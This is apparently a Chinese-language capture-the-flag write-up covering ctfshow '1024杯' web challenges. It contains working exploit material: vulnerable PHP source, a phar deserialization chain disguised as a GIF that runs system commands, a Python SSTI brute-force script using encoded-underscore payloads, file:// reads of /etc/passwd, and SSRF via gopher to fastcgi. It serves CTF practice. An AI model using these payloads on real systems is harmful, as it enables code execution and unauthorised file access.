ctfshow 1024杯

1024_WEB签到

phpinfo中有个自定义的函数,不多说了,自己找找看把

1024_柏拉图

双写绕过file://,然后利用file协议读取文件,

index.php
<?php
error_reporting(0);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}
if(isset($_GET['url'])){
    $url = $_GET['url'];
    $bad = 'file://';
    if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
		{
			die('难道我不知道你在想什么?除非绕过我?!');
    }else{
      $url=str_replace($bad,"",$url);
      curl($url);
    }
}
?>
现在是知道怎么过滤的了
upload.php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {

    if (file_exists("upload/" . $_FILES["file"]["name"])){
      echo $_FILES["file"]["name"] . " 文件已经存在啦!";
    }else{
      move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
      echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
    }
}else{
      echo "这个文件我不喜欢,我喜欢一个gif的文件";
    }
}
?>
文件类型必须是gif
readfile.php
error_reporting(0);
include('class.php');
function check($filename){  
    if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
        die("姿势太简单啦,来一点骚的?!");
    }else{
        return 0;
    }
}
if(isset($_GET['filename'])){
    $file=$_GET['filename'];
        if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
            die("这么简单的获得不可能吧?!");
        }
        echo readfile($file);
//class.php
error_reporting(0);
class A {
    public $a;
    public function __construct($a)
    {
        $this->a = $a;
    }
    public function __destruct()
    {
        echo "THI IS CTFSHOW".$this->a;
    }
}
class B {
    public $b;
    public function __construct($b)
    {
        $this->b = $b;
    }
    public function __toString()
    {
        return ($this->b)();
    }
}
class C{
    public $c;
    public function __construct($c)
    {
        $this->c = $c;
    }
    public function __invoke()
    {
        return eval($this->c);
    }
}
很简单的一条可以命令执行的链子
unlink.php
error_reporting(0);
$file=$_GET['filename'];
function check($file){  
  if (preg_match("/\.\.\//i",$file)){
      die("你想干什么?!");
  }else{
      return $file;
  }
}
if(file_exists("upload/".$file)){
      if(unlink("upload/".check($file))){
          echo "删除".$file."成功!";
      }else{
          echo "删除".$file."失败!";
      }
}else{
    echo '要删除的文件不存在!';
}
这个基本没用

接下来利用phar反序列化
phar不能出现在首部,可以利用compress.zlib://或 compress.bzip2://函数来实现绕过

给出一个别人的exp吧


error_reporting(0);
ini_set('phar.readonly','Off');

class A {
	public $a;
	public function __construct($a)
	{
		$this->a = $a;
	}
	public function __destruct()
	{
		echo "THI IS CTFSHOW".$this->a;
	}
}
class B {
	public $b;
	public function __construct($b)
	{
		$this->b = $b;
	}
	public function __toString()
	{
		return ($this->b)();
	}
}
class C{
	public $c;
	public function __construct($c)
	{
		$this->c = $c;
	}
	public function __invoke()
	{
		return eval($this->c);
	}
}

$o = new A('');
$o->a = new B('');
$o->a->b = new C('system("ls /");');

@unlink("phar.phar");								//unlink()函数删除文件
$phar = new Phar("phar.phar");						//后缀名必须为phar
$phar->startBuffering();							//开始缓冲phar写操作
$phar->setStub("GIF89a");//设置stub
$phar->setMetadata($o);								//将自定义的meta-data存入manifest
$phar->addFromString("text.txt", "test");			//添加要压缩的文件
$phar->stopBuffering();								//签名自动计算
?>

然后把phra.phar改成phar.gif
然后上传phar.gif,查看文件处使用compress.zlib://phar://upload/phar.gif进行查看能得到ctfshow_1024_flag.txt文件

1024_hello_world

这里应该是过滤了{{}}但是没有过滤{},所以可以使用{%%},同时还过滤__和小数点,在这种但是我们都可以绕过,用编码绕过_,用[]来绕过小数点。
基础知识,就不说了,先爆出他的catch_warnings的位置

import requests
for i in range(255):
    data = {
        'key': r'{%if ""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fbase\x5f\x5f"]["\x5f\x5fsubclasses\x5f\x5f"]()['+f'{i}'+r']["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["\x5f\x5fbuiltins\x5f\x5f"]!=1%}32{%endif%}'
    }
    url = 'http://d89115f4-c9e7-45fc-bdd2-2858eff2a172.chall.ctf.show/'
    r = requests.post(url, data=data)
    if '32' in r.text:
        print(data)
        break

得到位置之后就可以以同样的方法来爆出它的文件名和flag
这里就不给脚本了,自己好好做做吧。

1024_图片代理

考察的是利用ssrf攻击fastcgi
看的大佬的wp做的,也是学到 了。
访问本地文件file:///etc/passwd
发现可以成功,然后file:///etc/nginx/conf.d/default.conf
发现

root         /var/www/bushihtml;
index        index.php index.html;
fastcgi_pass   127.0.0.1:9000;

然后直接用Gopher打fastcgi
就是了
ctfshow 1024杯_第1张图片

1024_fastapi

FastAPI 是一个高性能 Web 框架,用于构建 API。

主要特性:

快速:非常高的性能,与 NodeJS 和 Go 相当
快速编码:将功能开发速度提高约 200% 至 300%
更少的错误:减少约 40% 的人为错误
直观:强大的编辑器支持,自动补全无处不在,调试时间更少
简易:旨在易于使用和学习,减少阅读文档的时间。
简短:减少代码重复。
稳健:获取可用于生产环境的代码,具有自动交互式文档
基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema 

这是一个web框架,并且是基于python的,所以我们可以试着ssti注入
它自带一个交互式API文档,可直接访问fastapi的docs目录
然后在post提交q,就是注入的地方。然后就是正常的注入了,

你可能感兴趣的:(CTF题目,php)